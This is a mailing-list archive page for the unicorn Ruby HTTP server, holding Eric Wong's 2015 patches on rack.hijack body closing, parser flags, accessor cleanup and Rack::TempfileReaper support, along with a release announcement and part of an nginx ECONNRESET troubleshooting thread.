* switch docs + website to olddoc
* README: clarify/reduce references to unicorn_rails
* gemspec: fixup olddoc migration
* use the monotonic clock under Ruby 2.1+
* http: -Wshorten-64-to-32 warnings on clang
* remove old inetd+git examples and exec_cgi
* http: standalone require + reduction in binary size
* GNUmakefile: fix clean gem build + reduce build cruft
* socket_helper: reduce constant lookups and caching
* remove 1.8, <= 1.9.1 fallback for missing IO#autoclose=
* favor IO#close_on_exec= over fcntl in 1.9+
* use require_relative to reduce syscalls at startup
* doc: update support status for Ruby versions
* fix uninstalled testing and reduce require paths
* test_socket_helper: do not depend on SO_REUSEPORT
* favor "a.b(&:c)" form over "a.b { |x| x.c }"
* ISSUES: add section for bugs in other projects
* http_server: favor ivars over constants
* explain 11 byte magic number for self-pipe
* const: drop constants used by Rainbows!
* reduce and localize constant string use
* Links: mark Rainbows! as historical, reference yahns
* save about 200 bytes of memory on x86-64
* http: remove deprecated reset method
* http: remove experimental dechunk! method
* socket_helper: update comments
* doc: document UNICORN_FD in manpage
* doc: document Etc.nprocessors for worker_processes
* favor more string literals for cold call sites
* tee_input: support for Rack::TempfileReaper middleware
* support TempfileReaper in deployment and development envs
* favor kgio_wait_readable for single FD over select
* Merge tag 'v4.9.0'
* http_request: support rack.hijack by default
* avoid extra allocation for hijack proc creation
* FAQ: add note about ECONNRESET errors from bodies
* process SIGWINCH unless stdin is a TTY
* ISSUES: discourage HTML mail strongly, welcome nyms
* http: use rb_hash_clear in Ruby 2.0+
* http_response: avoid special-casing for Rack < 1.5
* www: install NEWS.atom.xml properly
* http_server: remove a few more accessors and constants
* http_response: simplify regular expression
* move the socket into Rack env for hijacking
* http: move response_start_sent into the C ext
* FAQ: reorder bit on Rack 1.1.x and Rails 2.3.x
* ensure body is closed during hijack
--
EW
^ permalink raw reply [relevance 2%]
* [PATCH] ensure body is closed during hijack
@ 2015-06-09 20:17 14% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-06-09 20:17 UTC (permalink / raw)
To: unicorn-public
Middlewares such as Rack::Lock (used by Rails) break badly unless
the response body is closed on hijack, so we will close it to follow
the lead of other popular Rack servers.
While it's unclear if there's anybody using rack.hijack with unicorn,
we'll try to emulate the behavior of other servers as much as
possible.
ref: https://github.com/ngauthier/tubesock/issues/10
---
lib/unicorn/http_response.rb | 3 ---
lib/unicorn/http_server.rb | 20 +++++++++++++-------
t/hijack.ru | 3 ++-
t/t0200-rack-hijack.sh | 7 +++++--
test/unit/test_response.rb | 11 -----------
5 files changed, 20 insertions(+), 24 deletions(-)
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index 801bf9a..016dac8 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -52,12 +52,9 @@ module Unicorn::HttpResponse
end
if hijack
- body = nil # ensure we do not close body
hijack.call(socket)
else
body.each { |chunk| socket.write(chunk) }
end
- ensure
- body.respond_to?(:close) and body.close
end
end
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 2657c29..9129ed8 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -559,16 +559,22 @@ class Unicorn::HttpServer
# in 3 easy steps: read request, call app, write app response
def process_client(client)
status, headers, body = @app.call(env = @request.read(client))
- return if @request.hijacked?
- if 100 == status.to_i
- e100_response_write(client, env)
- status, headers, body = @app.call(env)
+ begin
return if @request.hijacked?
+
+ if 100 == status.to_i
+ e100_response_write(client, env)
+ status, headers, body = @app.call(env)
+ return if @request.hijacked?
+ end
+ @request.headers? or headers = nil
+ http_response_write(client, status, headers, body,
+ @request.response_start_sent)
+ ensure
+ body.respond_to?(:close) and body.close
end
- @request.headers? or headers = nil
- http_response_write(client, status, headers, body,
- @request.response_start_sent)
+
unless client.closed? # rack.hijack may've close this for us
client.shutdown # in case of fork() in Rack app
client.close # flush and uncork socket immediately, no keepalive
diff --git a/t/hijack.ru b/t/hijack.ru
index fcb0b6d..4adec61 100644
--- a/t/hijack.ru
+++ b/t/hijack.ru
@@ -2,12 +2,13 @@ use Rack::Lint
use Rack::ContentLength
use Rack::ContentType, "text/plain"
class DieIfUsed
+ @@n = 0
def each
abort "body.each called after response hijack\n"
end
def close
- abort "body.close called after response hijack\n"
+ warn "closed DieIfUsed #{@@n += 1}\n"
end
end
run lambda { |env|
diff --git a/t/t0200-rack-hijack.sh b/t/t0200-rack-hijack.sh
index f772071..de3eb82 100755
--- a/t/t0200-rack-hijack.sh
+++ b/t/t0200-rack-hijack.sh
@@ -16,12 +16,15 @@ t_begin "check response hijack" && {
test "xresponse.hijacked" = x"$(curl -sSfv http://$listen/hijack_res)"
}
-t_begin "killing succeeds" && {
+t_begin "killing succeeds after hijack" && {
kill $unicorn_pid
}
-t_begin "check stderr" && {
+t_begin "check stderr for hijacked body close" && {
check_stderr
+ grep 'closed DieIfUsed 1\>' $r_err
+ grep 'closed DieIfUsed 2\>' $r_err
+ ! grep 'closed DieIfUsed 3\>' $r_err
}
t_done
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index d0f0c79..3478288 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -72,17 +72,6 @@ class ResponseTest < Test::Unit::TestCase
assert ! out.closed?
end
- def test_body_closed
- expect_body = %w(1 2 3 4).join("\n")
- body = StringIO.new(expect_body)
- body.rewind
- out = StringIO.new
- http_response_write(out,200, {}, body)
- assert ! out.closed?
- assert body.closed?
- assert_match(expect_body, out.string.split(/\r\n/).last)
- end
-
def test_unknown_status_pass_through
out = StringIO.new
http_response_write(out,"666 I AM THE BEAST", {}, [] )
--
EW
^ permalink raw reply related [relevance 14%]
* [PATCH 2/2] http: move response_start_sent into the C ext
2015-06-06 1:58 2% [PATCH 0/2] eliminate generic ivars from HttpRequest class Eric Wong
@ 2015-06-06 1:58 10% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-06-06 1:58 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
Combined with the previous commit to eliminate the `@socket'
instance variable, this eliminates the last instance variable
in the Unicorn::HttpRequest class.
Eliminating the last instance variable avoids the creation of a
internal hash table used for implementing the "generic" instance
variables found in non-pure-Ruby classes. Method entry overhead
remains the same.
While this change doesn't do a whole lot for unicorn memory usage
where the HttpRequest is a singleton, it helps other HTTP servers
which rely on this code where thousands of clients may be connected.
---
ext/unicorn_http/unicorn_http.rl | 26 +++++++++++++++++++++++---
lib/unicorn/http_request.rb | 4 +---
test/unit/test_http_parser_ng.rb | 11 +++++++++++
3 files changed, 35 insertions(+), 6 deletions(-)
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index bd45dd0..a5f069d 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -25,6 +25,7 @@ void init_unicorn_httpdate(void);
#define UH_FL_KAVERSION 0x80
#define UH_FL_HASHEADER 0x100
#define UH_FL_TO_CLEAR 0x200
+#define UH_FL_RESSTART 0x400 /* for check_client_connection */
/* all of these flags need to be set for keepalive to be supported */
#define UH_FL_KEEPALIVE (UH_FL_KAVERSION | UH_FL_REQEOF | UH_FL_HASHEADER)
@@ -60,7 +61,7 @@ struct http_parser {
} len;
};
-static ID id_set_backtrace, id_response_start_sent;
+static ID id_set_backtrace;
#ifdef HAVE_RB_HASH_CLEAR /* Ruby >= 2.0 */
# define my_hash_clear(h) (void)rb_hash_clear(h)
@@ -597,7 +598,6 @@ static VALUE HttpParser_clear(VALUE self)
http_parser_init(hp);
my_hash_clear(hp->env);
- rb_ivar_set(self, id_response_start_sent, Qfalse);
return self;
}
@@ -880,6 +880,25 @@ static VALUE HttpParser_filter_body(VALUE self, VALUE dst, VALUE src)
return src;
}
+static VALUE HttpParser_rssset(VALUE self, VALUE boolean)
+{
+ struct http_parser *hp = data_get(self);
+
+ if (RTEST(boolean))
+ HP_FL_SET(hp, RESSTART);
+ else
+ HP_FL_UNSET(hp, RESSTART);
+
+ return boolean; /* ignored by Ruby anyways */
+}
+
+static VALUE HttpParser_rssget(VALUE self)
+{
+ struct http_parser *hp = data_get(self);
+
+ return HP_FL_TEST(hp, RESSTART) ? Qtrue : Qfalse;
+}
+
#define SET_GLOBAL(var,str) do { \
var = find_common_field(str, sizeof(str) - 1); \
assert(!NIL_P(var) && "missed global field"); \
@@ -914,6 +933,8 @@ void Init_unicorn_http(void)
rb_define_method(cHttpParser, "next?", HttpParser_next, 0);
rb_define_method(cHttpParser, "buf", HttpParser_buf, 0);
rb_define_method(cHttpParser, "env", HttpParser_env, 0);
+ rb_define_method(cHttpParser, "response_start_sent=", HttpParser_rssset, 1);
+ rb_define_method(cHttpParser, "response_start_sent", HttpParser_rssget, 0);
/*
* The maximum size a single chunk when using chunked transfer encoding.
@@ -939,7 +960,6 @@ void Init_unicorn_http(void)
SET_GLOBAL(g_content_length, "CONTENT_LENGTH");
SET_GLOBAL(g_http_connection, "CONNECTION");
id_set_backtrace = rb_intern("set_backtrace");
- id_response_start_sent = rb_intern("@response_start_sent");
init_unicorn_httpdate();
#ifndef HAVE_RB_HASH_CLEAR
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index f5c6b5b..9339bce 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -25,8 +25,6 @@ class Unicorn::HttpParser
RACK_HIJACK_IO = "rack.hijack_io".freeze
NULL_IO = StringIO.new("")
- attr_accessor :response_start_sent
-
# :stopdoc:
# A frozen format for this is about 15% faster
# Drop these frozen strings when Ruby 2.2 becomes more prevalent,
@@ -92,7 +90,7 @@ class Unicorn::HttpParser
# detect if the socket is valid by writing a partial response:
if @@check_client_connection && headers?
- @response_start_sent = true
+ self.response_start_sent = true
HTTP_RESPONSE_START.each { |c| socket.write(c) }
end
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index efd82e1..d186f5a 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -34,6 +34,17 @@ class HttpParserNgTest < Test::Unit::TestCase
assert_equal false, @parser.response_start_sent
end
+ def test_response_start_sent
+ assert_equal false, @parser.response_start_sent, "default is false"
+ @parser.response_start_sent = true
+ assert_equal true, @parser.response_start_sent
+ @parser.response_start_sent = false
+ assert_equal false, @parser.response_start_sent
+ @parser.response_start_sent = true
+ @parser.clear
+ assert_equal false, @parser.response_start_sent
+ end
+
def test_connection_TE
@parser.buf << "GET / HTTP/1.1\r\nHost: example.com\r\nConnection: TE\r\n"
@parser.buf << "TE: trailers\r\n\r\n"
--
EW
^ permalink raw reply related [relevance 10%]
* [PATCH 0/2] eliminate generic ivars from HttpRequest class
@ 2015-06-06 1:58 2% Eric Wong
2015-06-06 1:58 10% ` [PATCH 2/2] http: move response_start_sent into the C ext Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2015-06-06 1:58 UTC (permalink / raw)
To: unicorn-public
With the mainline Ruby VM, generic instance variables are implemented as
a st (hash) table for each object costing at least 192 bytes. This
isn't a huge problem for unicorn as it only ever allocates one
HttpRequest object, but still makes the HttpRequest class less suitable
for other servers.
While generic ivars will be less expensive when Ruby 2.3 is released in
December, we're still better off eliminating them entirely as they're
not going to be cheaper than T_OBJECT instance variables.
With this, I'll probably tag and release 5.0.0-rc1 soon.
Eric Wong (2):
move the socket into Rack env for hijacking
http: move response_start_sent into the C ext
ext/unicorn_http/unicorn_http.rl | 26 +++++++++++++++++++++++---
lib/unicorn/http_request.rb | 9 ++++-----
test/unit/test_http_parser_ng.rb | 11 +++++++++++
3 files changed, 38 insertions(+), 8 deletions(-)
Note: Yes, [PATCH 1/2] introduces a unicorn-specific field into the
Rack env, but unicorn is not the only server with
`env["#{servername}.socket"]' in the Rack env.
And [PATCH 2/2] isn't useful without [PATCH 1/2]
^ permalink raw reply [relevance 2%]
* [PATCH] http_server: remove a few more accessors and constants
@ 2015-06-04 1:39 5% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-06-04 1:39 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
Unnecessarily exposed accessors and constants take up unnecessary
memory in constant/method tables as well as using extra space in
instruction sequences.
Preforking servers like unicorn are a bloated pigs anyways,
but saving a few hundred bytes here and there can add up and
make them marginally less bad.
---
lib/unicorn/http_server.rb | 52 ++++++++++++++++++++++------------------------
test/test_helper.rb | 5 +++--
2 files changed, 28 insertions(+), 29 deletions(-)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index cf8e122..2657c29 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -11,25 +11,23 @@
# See Unicorn::Configurator for information on how to configure \Unicorn.
class Unicorn::HttpServer
# :stopdoc:
- attr_accessor :app, :request, :timeout, :worker_processes,
+ attr_accessor :app, :timeout, :worker_processes,
:before_fork, :after_fork, :before_exec,
:listener_opts, :preload_app,
- :reexec_pid, :orig_app, :init_listeners,
- :master_pid, :config, :ready_pipe, :user
+ :orig_app, :config, :ready_pipe, :user
attr_reader :pid, :logger
include Unicorn::SocketHelper
include Unicorn::HttpResponse
# all bound listener sockets
+ # note: this is public used by raindrops, but not recommended for use
+ # in new projects
LISTENERS = []
# listeners we have yet to bind
NEW_LISTENERS = []
- # list of signals we care about and trap in master.
- QUEUE_SIGS = [ :WINCH, :QUIT, :INT, :TERM, :USR1, :USR2, :HUP, :TTIN, :TTOU ]
-
# :startdoc:
# We populate this at startup so we can figure out how to reexecute
# and upgrade the currently running instance of Unicorn
@@ -70,7 +68,7 @@ class Unicorn::HttpServer
def initialize(app, options = {})
@app = app
@request = Unicorn::HttpRequest.new
- self.reexec_pid = 0
+ @reexec_pid = 0
options = options.dup
@ready_pipe = options.delete(:ready_pipe)
@init_listeners = options[:listeners] ? options[:listeners].dup : []
@@ -102,7 +100,10 @@ class Unicorn::HttpServer
# monitoring tools may also rely on pid files existing before we
# attempt to connect to the listener(s)
config.commit!(self, :skip => [:listeners, :pid])
- self.orig_app = app
+ @orig_app = app
+ # list of signals we care about and trap in master.
+ @queue_sigs = [
+ :WINCH, :QUIT, :INT, :TERM, :USR1, :USR2, :HUP, :TTIN, :TTOU ]
end
# Runs the thing. Returns self so you can run join on it
@@ -116,7 +117,7 @@ class Unicorn::HttpServer
# setup signal handlers before writing pid file in case people get
# trigger happy and send signals as soon as the pid file exists.
# Note that signals don't actually get handled until the #join method
- QUEUE_SIGS.each { |sig| trap(sig) { @sig_queue << sig; awaken_master } }
+ @queue_sigs.each { |sig| trap(sig) { @sig_queue << sig; awaken_master } }
trap(:CHLD) { awaken_master }
# write pid early for Mongrel compatibility if we're not inheriting sockets
@@ -186,7 +187,7 @@ class Unicorn::HttpServer
if path
if x = valid_pid?(path)
return path if pid && path == pid && x == $$
- if x == reexec_pid && pid.end_with?('.oldbin')
+ if x == @reexec_pid && pid.end_with?('.oldbin')
logger.warn("will not set pid=#{path} while reexec-ed "\
"child is running PID:#{x}")
return
@@ -387,9 +388,9 @@ class Unicorn::HttpServer
begin
wpid, status = Process.waitpid2(-1, Process::WNOHANG)
wpid or return
- if reexec_pid == wpid
+ if @reexec_pid == wpid
logger.error "reaped #{status.inspect} exec()-ed"
- self.reexec_pid = 0
+ @reexec_pid = 0
self.pid = pid.chomp('.oldbin') if pid
proc_name 'master'
else
@@ -404,13 +405,13 @@ class Unicorn::HttpServer
# reexecutes the START_CTX with a new binary
def reexec
- if reexec_pid > 0
+ if @reexec_pid > 0
begin
- Process.kill(0, reexec_pid)
- logger.error "reexec-ed child already running PID:#{reexec_pid}"
+ Process.kill(0, @reexec_pid)
+ logger.error "reexec-ed child already running PID:#@reexec_pid"
return
rescue Errno::ESRCH
- self.reexec_pid = 0
+ @reexec_pid = 0
end
end
@@ -428,7 +429,7 @@ class Unicorn::HttpServer
end
end
- self.reexec_pid = fork do
+ @reexec_pid = fork do
listener_fds = {}
LISTENERS.each do |sock|
sock.close_on_exec = false
@@ -576,9 +577,6 @@ class Unicorn::HttpServer
handle_error(client, e)
end
- EXIT_SIGS = [ :QUIT, :TERM, :INT ]
- WORKER_QUEUE_SIGS = QUEUE_SIGS - EXIT_SIGS
-
def nuke_listeners!(readers)
# only called from the worker, ordering is important here
tmp = readers.dup
@@ -593,9 +591,10 @@ class Unicorn::HttpServer
def init_worker_process(worker)
worker.atfork_child
# we'll re-trap :QUIT later for graceful shutdown iff we accept clients
- EXIT_SIGS.each { |sig| trap(sig) { exit!(0) } }
- exit!(0) if (@sig_queue & EXIT_SIGS)[0]
- WORKER_QUEUE_SIGS.each { |sig| trap(sig, nil) }
+ exit_sigs = [ :QUIT, :TERM, :INT ]
+ exit_sigs.each { |sig| trap(sig) { exit!(0) } }
+ exit!(0) if (@sig_queue & exit_sigs)[0]
+ (@queue_sigs - exit_sigs).each { |sig| trap(sig, nil) }
trap(:CHLD, 'DEFAULT')
@sig_queue.clear
proc_name "worker[#{worker.nr}]"
@@ -629,7 +628,7 @@ class Unicorn::HttpServer
# for connections and doesn't die until the parent dies (or is
# given a INT, QUIT, or TERM signal)
def worker_loop(worker)
- ppid = master_pid
+ ppid = @master_pid
readers = init_worker_process(worker)
nr = 0 # this becomes negative if we need to reopen logs
@@ -723,7 +722,7 @@ class Unicorn::HttpServer
config.commit!(self)
soft_kill_each_worker(:QUIT)
Unicorn::Util.reopen_logs
- self.app = orig_app
+ self.app = @orig_app
build_app! if preload_app
logger.info "done reloading config_file=#{config.config_file}"
rescue StandardError, LoadError, SyntaxError => e
@@ -788,9 +787,8 @@ class Unicorn::HttpServer
# call only after calling inherit_listeners!
# This binds any listeners we did NOT inherit from the parent
def bind_new_listeners!
- NEW_LISTENERS.each { |addr| listen(addr) }
+ NEW_LISTENERS.each { |addr| listen(addr) }.clear
raise ArgumentError, "no listeners" if LISTENERS.empty?
- NEW_LISTENERS.clear
end
# try to use the monotonic clock in Ruby >= 2.1, it is immune to clock
diff --git a/test/test_helper.rb b/test/test_helper.rb
index c4fe07a..c21f75d 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -292,6 +292,7 @@ def chunked_spawn(stdout, *cmd)
end
def reset_sig_handlers
- sigs = %w(CHLD).concat(Unicorn::HttpServer::QUEUE_SIGS)
- sigs.each { |sig| trap(sig, "DEFAULT") }
+ %w(WINCH QUIT INT TERM USR1 USR2 HUP TTIN TTOU CHLD).each do |sig|
+ trap(sig, "DEFAULT")
+ end
end
--
EW
^ permalink raw reply related [relevance 5%]
* [ANN] unicorn 4.9.0 - Rack HTTP server for fast clients and *nix
@ 2015-04-24 3:17 3% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-04-24 3:17 UTC (permalink / raw)
To: ruby-talk; +Cc: unicorn-public, Mike Mulvaney
Unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
* http://unicorn.bogomips.org/
* public list: unicorn-public@bogomips.org
* mail archives: http://bogomips.org/unicorn-public/
* git clone git://bogomips.org/unicorn.git
* http://unicorn.bogomips.org/NEWS.atom.xml
Changes:
unicorn 4.9.0 - TempfileReaper support in Rack 1.6
This release supports the Rack::TempfileReaper middleware found
in rack 1.6 for cleaning up disk space used by temporary files.
We also use Rack::TempfileReaper for cleaning up large temporary
files buffered with TeeInput. Users on rack 1.5 and earlier
will see no changes.
There's also a bunch of documentation/build system improvements.
This is likely to be the last Ruby 1.8-compatible release, unicorn 5.x
will require 1.9.3 or later as well as dropping lots of cruft (the
stupid "Status:" header in responses being the most notable).
21 changes backported from master:
ISSUES: update with mailing list subscription
FAQ: add entry for Rails autoflush_log
dev: remove isolate dependency
unicorn.gemspec: depend on test-unit 3.0
remove RubyForge and Freecode references
remove mongrel.rubyforge.org references
examples: add run_once to before_fork hook example
t/t0002-parser-error.sh: relax test for rack 1.6.0
switch docs + website to olddoc
README: clarify/reduce references to unicorn_rails
gemspec: fixup olddoc migration
GNUmakefile: fix clean gem build + reduce build cruft
doc: update support status for Ruby versions
fix uninstalled testing and reduce require paths
test_socket_helper: do not depend on SO_REUSEPORT
ISSUES: add section for bugs in other projects
explain 11 byte magic number for self-pipe
Links: mark Rainbows! as historical, reference yahns
doc: document UNICORN_FD in manpage
tee_input: support for Rack::TempfileReaper middleware
support TempfileReaper in deployment and development envs
--
EW
^ permalink raw reply [relevance 3%]
* [PATCH 1/2] tee_input: support for Rack::TempfileReaper middleware
2015-04-24 3:02 2% [PATCH 0/2] Rack::TempfileReaper support Eric Wong
@ 2015-04-24 3:02 15% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-04-24 3:02 UTC (permalink / raw)
To: unicorn-public; +Cc: Mike Mulvaney, Eric Wong
Rack::TempfileReaper was added in rack 1.6 to cleanup temporary
files. Make Unicorn::TmpIO ducktype-compatible so
Rack::TempfileReaper may be used to free up space used by temporary
buffer files.
Ref: <CY1PR0301MB078011EB5A22B733EB222A45A4EE0@CY1PR0301MB0780.namprd03.prod.outlook.com>
Reported-by: Mike Mulvaney <MMulvaney@bna.com>
---
lib/unicorn/tee_input.rb | 9 ++++++++-
lib/unicorn/tmpio.rb | 3 +++
test/unit/test_tee_input.rb | 10 ++++++++++
3 files changed, 21 insertions(+), 1 deletion(-)
diff --git a/lib/unicorn/tee_input.rb b/lib/unicorn/tee_input.rb
index 637c583..3c6d18a 100644
--- a/lib/unicorn/tee_input.rb
+++ b/lib/unicorn/tee_input.rb
@@ -28,13 +28,20 @@ class Unicorn::TeeInput < Unicorn::StreamInput
@@client_body_buffer_size
end
+ # for Rack::TempfileReaper in rack 1.6+
+ def new_tmpio # :nodoc:
+ tmpio = Unicorn::TmpIO.new
+ (@parser.env['rack.tempfiles'] ||= []) << tmpio
+ tmpio
+ end
+
# Initializes a new TeeInput object. You normally do not have to call
# this unless you are writing an HTTP server.
def initialize(socket, request)
@len = request.content_length
super
@tmp = @len && @len <= @@client_body_buffer_size ?
- StringIO.new("") : Unicorn::TmpIO.new
+ StringIO.new("") : new_tmpio
end
# :call-seq:
diff --git a/lib/unicorn/tmpio.rb b/lib/unicorn/tmpio.rb
index c97979a..db88ed3 100644
--- a/lib/unicorn/tmpio.rb
+++ b/lib/unicorn/tmpio.rb
@@ -21,4 +21,7 @@ class Unicorn::TmpIO < File
fp.sync = true
fp
end
+
+ # pretend we're Tempfile for Rack::TempfileReaper
+ alias close! close
end
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 0c2c941..4647e66 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -29,6 +29,13 @@ class TestTeeInput < Test::Unit::TestCase
end while true
end
+ def check_tempfiles
+ tmp = @parser.env["rack.tempfiles"]
+ assert_instance_of Array, tmp
+ assert_operator tmp.size, :>=, 1
+ assert_instance_of Unicorn::TmpIO, tmp[0]
+ end
+
def test_gets_long
r = init_request("hello", 5 + (4096 * 4 * 3) + "#$/foo#$/".size)
ti = TeeInput.new(@rd, r)
@@ -106,6 +113,7 @@ class TestTeeInput < Test::Unit::TestCase
assert_kind_of File, ti.tmp
assert_equal 0, ti.tmp.pos
assert_equal Unicorn::Const::MAX_BODY + 1, ti.size
+ check_tempfiles
end
def test_read_in_full_if_content_length
@@ -148,6 +156,7 @@ class TestTeeInput < Test::Unit::TestCase
assert_nil ti.read(1)
pid, status = Process.waitpid2(pid)
assert status.success?
+ check_tempfiles
end
def test_chunked
@@ -183,6 +192,7 @@ class TestTeeInput < Test::Unit::TestCase
status = nil
pid, status = Process.waitpid2(pid)
assert status.success?
+ check_tempfiles
end
def test_chunked_ping_pong
--
EW
^ permalink raw reply related [relevance 15%]
* [PATCH 0/2] Rack::TempfileReaper support
@ 2015-04-24 3:02 2% Eric Wong
2015-04-24 3:02 15% ` [PATCH 1/2] tee_input: support for Rack::TempfileReaper middleware Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2015-04-24 3:02 UTC (permalink / raw)
To: unicorn-public; +Cc: Mike Mulvaney
These will be in the upcoming 4.9 release, as well as the 5.x
release which drops old cruft and 1.8 support. I've decided
to use 4.9 instead of 4.8.4 since this does change the feature
set slightly.
Eric Wong (2):
tee_input: support for Rack::TempfileReaper middleware
support TempfileReaper in deployment and development envs
lib/unicorn.rb | 2 ++
lib/unicorn/tee_input.rb | 9 ++++++++-
lib/unicorn/tmpio.rb | 3 +++
test/unit/test_tee_input.rb | 10 ++++++++++
4 files changed, 23 insertions(+), 1 deletion(-)
^ permalink raw reply [relevance 2%]
* unicorn 4.8.x-stable branch pushed to git
@ 2015-04-22 19:02 4% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2015-04-22 19:02 UTC (permalink / raw)
To: unicorn-public; +Cc: Mulvaney, Mike
Only backporting documentation + build/test system fixes, but I'll
probably apply and push the TeeInput patch in:
http://bogomips.org/unicorn-public/m/20150422183808.GA5277@dcvr.yhbt.net.txt
The following changes since commit 7087bb7ed5a1b9d9f24069cb92707d086668b6dc:
unicorn 4.8.3 - the end of an era (2014-05-07 07:49:19 +0000)
are available in the git repository at:
git://bogomips.org/unicorn 4.8.x-stable
for you to fetch changes up to 548e1e67d314f6ebd17df37ece0ee20632462f6f:
doc: document UNICORN_FD in manpage (2015-04-22 18:57:39 +0000)
----------------------------------------------------------------
Eric Wong (19):
ISSUES: update with mailing list subscription
FAQ: add entry for Rails autoflush_log
dev: remove isolate dependency
unicorn.gemspec: depend on test-unit 3.0
remove RubyForge and Freecode references
remove mongrel.rubyforge.org references
examples: add run_once to before_fork hook example
t/t0002-parser-error.sh: relax test for rack 1.6.0
switch docs + website to olddoc
README: clarify/reduce references to unicorn_rails
gemspec: fixup olddoc migration
GNUmakefile: fix clean gem build + reduce build cruft
doc: update support status for Ruby versions
fix uninstalled testing and reduce require paths
test_socket_helper: do not depend on SO_REUSEPORT
ISSUES: add section for bugs in other projects
explain 11 byte magic number for self-pipe
Links: mark Rainbows! as historical, reference yahns
doc: document UNICORN_FD in manpage
.document | 1 -
.gitignore | 4 +-
.wrongdoc.yml => .olddoc.yml | 6 ++-
Documentation/unicorn.1.txt | 7 ++++
FAQ | 10 ++++-
GNUmakefile | 71 +++++++++++++----------------------
HACKING | 31 ++++-----------
ISSUES | 46 +++++++++++++++++++++--
KNOWN_ISSUES | 20 +++++-----
Links | 5 ++-
README | 10 ++---
Rakefile | 44 ----------------------
Sandbox | 2 +-
examples/unicorn.conf.rb | 11 ++++++
lib/unicorn/configurator.rb | 2 -
lib/unicorn/http_server.rb | 6 ++-
local.mk.sample | 59 -----------------------------
script/isolate_for_tests | 31 ---------------
t/GNUmakefile | 6 +--
t/README | 2 +-
t/t0002-parser-error.sh | 6 +--
test/exec/test_exec.rb | 2 +-
test/test_helper.rb | 4 +-
test/unit/test_http_parser.rb | 6 +--
test/unit/test_http_parser_ng.rb | 2 +-
test/unit/test_http_parser_xftrust.rb | 2 +-
test/unit/test_request.rb | 2 +-
test/unit/test_response.rb | 6 +--
test/unit/test_server.rb | 6 +--
test/unit/test_signals.rb | 2 +-
test/unit/test_socket_helper.rb | 8 ++--
test/unit/test_upload.rb | 2 +-
test/unit/test_util.rb | 2 +-
unicorn.gemspec | 13 +++----
34 files changed, 167 insertions(+), 270 deletions(-)
rename .wrongdoc.yml => .olddoc.yml (85%)
delete mode 100644 local.mk.sample
delete mode 100755 script/isolate_for_tests
^ permalink raw reply [relevance 4%]
* Re: nginx reverse proxy getting ECONNRESET
2015-03-24 22:54 3% ` Eric Wong
@ 2015-03-24 23:02 0% ` Michael Fischer
0 siblings, 0 replies; 200+ results
From: Michael Fischer @ 2015-03-24 23:02 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On Tue, Mar 24, 2015 at 10:54 PM, Eric Wong <e@80x24.org> wrote:
> Michael Fischer <mfischer@zendesk.com> wrote:
>> We have an nginx 1.6.2 proxy in front of a Unicorn 4.8.3 server that
>> is frequently reporting the following error:
>>
>> 2015/03/24 01:46:01 [error] 11217#0: *872231 readv() failed (104:
>> Connection reset by peer) while reading upstream
>>
>> The interesting things are:
>>
>> 1) The upstream is a Unix domain socket (to which Unicorn is bound)
>> 2) Unicorn isn't reporting that a child died in the error log (and I
>> verified their lifetimes with ps(1))
>>
>> Any hints as to what we should look for?
>
> What changed recently with your setup?
We upgraded nginx from 1.4.7 to 1.6.2. The frequency of the error has
increased significantly since. But I hesitate to point the finger at
nginx without more evidence, since its developers are very skilled.
> Which OS/kernel version + vendor version?
uname -3.13.0-40-generic #69~precise1-Ubuntu
Ruby 2.1.1
> Can you setup a test instance on a different nginx port/unicorn socket
> and with a config.ru such as:
>
> ------------------------- 8< ----------------------
> run(lambda do |env|
> $stderr.write("#$$ starting at #{Time.now}\n")
> # be sure to configure your unicorn timeout
> sleep
> # should not return, wait for unicorn to kill
> end)
> ----------------------------------------------------
>
> And hitting nginx with a single test request to reproduce the issue.
I'll take that step later if I have to, but I'm not sure what evidence
that would provide, since we're not having timeout issues -- when this
happens, the response time reported by nginx is usually just a few
seconds (Unicorn timeout is 90 seconds),
Thanks,
--Michael
^ permalink raw reply [relevance 0%]
* Re: nginx reverse proxy getting ECONNRESET
@ 2015-03-24 22:54 3% ` Eric Wong
2015-03-24 23:02 0% ` Michael Fischer
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2015-03-24 22:54 UTC (permalink / raw)
To: Michael Fischer; +Cc: unicorn-public
Michael Fischer <mfischer@zendesk.com> wrote:
